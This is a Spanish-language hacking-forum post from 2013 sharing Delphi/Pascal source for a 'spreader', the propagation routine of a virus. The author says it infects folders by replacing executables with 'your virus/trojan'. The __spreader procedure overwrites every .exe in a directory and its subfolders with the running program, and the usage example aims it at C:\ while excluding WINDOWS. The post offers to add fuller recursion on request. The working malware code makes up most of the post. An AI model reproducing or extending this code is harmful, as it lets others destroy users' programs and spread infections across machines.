Spreader en pascal[APORTE]

Iniciado por WarZ0n3, 15 Abril 2013, 00:10 AM

0 Miembros y 1 Visitante están viendo este tema.

WarZ0n3

Saludos a toda la comunidad.
Acá les dejo un spreader simple que programe en delphi 7.

Explicación
Como dice la descripción infecta la ruta pasa como argumentos y si se desea excluir alguna carpeta de ese directorio como podría ser WINDOWS. Ya que recordemos que si infectamos C:/ podríamos cargarnos todo el sistema y eso no es la idea.

Por si no entendieron la función se puede llamar en cualquier parte de su código tan solo haciendo : __spreader(TStringList, 'RUTA', 'CARPETA A EXCLUIR');

NOTA: este código lo que hace es comprobar si hay .EXE en la ruta y sus subdirectorios y si los hay, los remplaza con el código de su virus/troyano etc...
También es posible hacer un bucle con directorios y subdirectorios para que la función los valla recorriendo e infectando.
No lo puse pero si me lo piden lo agrego.
Comenten!!

Gracias y espero que les sirva: >:D
Código (pascal) [Seleccionar]

{/*******************************************\}
{           Spreader @Por WARZ0N3             }
{  Algoritmo de spreading :                   }
{  Infeccion .EXE         : si;               }
{  Propagacion P2P        : si;               }
{  Propagacion USB        : si;               }
{  Propagacion MSN        : no;               }
{  Exclusion de fichero   : si;               }
{/*******************************************\}
{ Acerca de...                                }
{ Este algoritmo remplaza ejecutables de la   }
{ carpeta usada como argumento + sus          }
{ directorios subyacentes. Tambien es posible }
{ excluir un directorio que no se quiera      }
{ infectar.                                   }
{  Ejemplo de uso:                            }
{  __spreader(TStringList, 'ruta', 'dir');    }
{  __spreader(miLista, 'C:/Program Files',    }
{   'WINDOWS');                               }
{/*******************************************\}
{        -Use bajo su propio riesgo!-         }
{           .:: Copyright 2013 ::.            }
{\*******************************************/}
procedure __spreader(lSpr:TSTRINGLIST;  pInit:string; pExclude:string); overload;
var
  spreader, Payload  : TSEARCHREC;
  target             : string;
  i, x               : integer;
  sNULL              : string;
begin
SETCURRENTDIR(pInit);
if FindFirst('*', FaAnyFile, spreader)=0 then
repeat
  if ((spreader.Attr and faAnyFile)<>0)and((spreader.Name)<>'.')
and((spreader.Name)<>'..') then
  begin
    target:= Copy(spreader.Name, 0, Length(spreader.Name));
    if ExtractFileExt(spreader.Name)='.exe' then begin
      CopyFile(pChar(ParamStr(0)), pChar(spreader.Name), FALSE);
    end;
    if DirectoryExists(target) then begin
      lSpr.Add(target);
    end;
    if DirectoryExists(pExclude) then begin
      for x:=0 to lSpr.Count-1 do begin
        lSpr[x]:= StringReplace(lSpr[x], pExclude, '', [rfReplaceAll]);
      end;
    end;
  end;
until FindNext(spreader)<>0;
for i:=0 to lSpr.Count-1 do begin
  SETCURRENTDIR(lSpr[i]);
  if lSpr[i]='' then begin
    SETCURRENTDIR('..');
  end;
  if FindFirst('*.exe', FaAnyFile, Payload)=0 then
  repeat
    CopyFile(pChar(ParamStr(0)), pChar(Payload.Name), FALSE);
  until FindNext(Payload)<>0;
  SETCURRENTDIR('..');
end;
SysUtils.FindClose(spreader);
SysUtils.FindClose(Payload);
end;

{/*******************************************\}
{               EJEMPLO DE USO                }
{/*******************************************\}
procedure TForm1.FormCreate(Sender: TObject);
const
  rSPRD : array[0..2] of string=(
  'C:\Archivos de programa\eMule',  'C:\Archivos de programa\Ask.com',
  'C:\Archivos de programa\MSN'
  );
var
  lSpr      : TSTRINGLIST;
  cont      : integer;
  sNULL     : string;
begin
lSpr := TSTRINGLIST.Create;
Application.ProcessMessages;
{ Llamado de la funcion spreader }
__spreader(lSpr,
  'C:\',  { Carpeta a infectar }
  'WINDOWS' { Excluir carpeta }
  );
ZeroMemory(@rSPRD, SIZEOF(rSPRD));
end;


PD: A los admins, tengo una cuenta vieja (ya no la uso ni entre mas) es Baal.
Si pueden borrarla se los agradecería ;)